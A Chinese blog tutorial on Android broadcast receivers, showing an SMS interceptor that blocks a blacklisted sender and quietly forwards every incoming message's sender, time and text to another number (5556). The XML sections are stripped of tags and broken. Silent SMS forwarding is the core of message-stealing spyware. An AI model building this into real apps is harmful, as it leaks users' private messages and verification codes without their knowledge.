推广 热搜: csgo  vue  angelababy  2023  gps  新车  htc  落地  app  p2p 

短信拦截器

   2023-08-09 网络整理佚名1880
核心提示:短信拦截器:今天利用广播机制做了一个短信拦截器。在我做的这个拦截器中,可以有两种方式来设置拦截,一种是在.xml直接设置拦截,另外一种是通过手动注册来设计拦截。在这里我们需要通过查文档找到短信收发的一些权限。如果是利用手动的来注册拦截,那么就不需要在.不过利用手动的来设置拦截,那就和做的这个拦截器的需要不相符了,这里我只是为了更加明显的说明广播的机制。类用作拦截信息:

短信拦截器:

今天做了一个利用广播机制的短信拦截器。 在我制作的拦截器中,设置拦截的方式有两种,一种是直接在.xml中设置拦截,另一种是通过手动注册来设计拦截。 这里我们需要通过查看文档找到一些短信发送和接收的权限。

下面我附上我做的拦截器的代码,供大家参考。

主要.xml:


android:orientation="vertical"
android:layout_width="fill_parent"
android:layout_height="fill_parent"
>

首页显示:

package cn.yj3g.SmsListener;

import android.app.Activity;
import android.content.IntentFilter;
import android.os.Bundle;
import android.view.View;
import android.widget.Toast;

public class SmsListenerActivity extends Activity {
private SmsRecevier recevier;
private boolean isregiset = false;
private static final String ACTION = "android.provider.Telephony.SMS_RECEIVED";

@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
recevier = new SmsRecevier();
}
public void regiset(View v) {
IntentFilter filter = new IntentFilter(ACTION);
filter.setPriority(1000);//设置优先级最大
registerReceiver(recevier, filter);
isregiset = true;
Toast.makeText(this, "注册成功", 0).show();
}

public void unregiset(View v) {
if (recevier != null && isregiset) {
unregisterReceiver(recevier);
isregiset = false;
Toast.makeText(this, "解注册成功", 0).show();
} else
Toast.makeText(this, "尚未注册", 0).show();
}
@Override
protected void onDestroy() {
super.onDestroy();
if (recevier != null && isregiset) {
unregisterReceiver(recevier);
isregiset = false;
Toast.makeText(this, "解注册成功", 0).show();
}
}
}

如果手动注册拦截,则无需在.xml 中设置。 然而,采用手动拦截设置并不能满足拦截器的需求。 这里我只是把广播机制解释的更清楚一些。

.xml:


package="cn.yj3g.SmsListener"
android:versionCode="1"
android:versionName="1.0">



android:label="@string/app_name">










该类用于拦截信息:

package cn.yj3g.SmsListener;

import java.text.SimpleDateFormat;
import java.util.Date;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.telephony.SmsManager;
import android.telephony.SmsMessage;
import android.util.Log;

public class SmsRecevier extends BroadcastReceiver {
public SmsRecevier() {
Log.v("TAG", "SmsRecevier create");
}

@Override
public void onReceive(Context context, Intent intent) {
Log.v("TAG", "SmsRecevier onReceive");
Object[] pdus = (Object[]) intent.getExtras().get("pdus");
if (pdus != null && pdus.length > 0) {
SmsMessage[] messages = new SmsMessage[pdus.length];
for (int i = 0; i < pdus.length; i++) {
byte[] pdu = (byte[]) pdus[i];
messages[i] = SmsMessage.createFromPdu(pdu);
}
for (SmsMessage message : messages) {
String content = message.getMessageBody();// 得到短信内容
String sender = message.getOriginatingAddress();// 得到发信息的号码
if (sender.equals("110")) {
abortBroadcast();// 中止发送
Log.e("TAG", "此号码为黑名单号码,已拦截!");
}
Date date = new Date(message.getTimestampMillis());
SimpleDateFormat format = new SimpleDateFormat(
"yyyy-MM-dd HH:mm:ss");
String sendContent = format.format(date) + ":" + sender + "--"
+ content;
SmsManager smsManager = SmsManager.getDefault();// 发信息时需要的
smsManager.sendTextMessage("5556", null, sendContent, null,
null);// 转发给5556
Log.v("TAG", sendContent);
}
}
}
}

 
反对 0举报 0 收藏 0 打赏 0评论 0
 
更多>同类资讯
推荐图文
推荐资讯
点击排行
网站首页  |  关于我们  |  联系方式  |  使用协议  |  版权隐私  |  网站地图  |  排名推广  |  广告服务  |  积分换礼  |  网站留言  |  RSS订阅  |  违规举报
Powered By DESTOON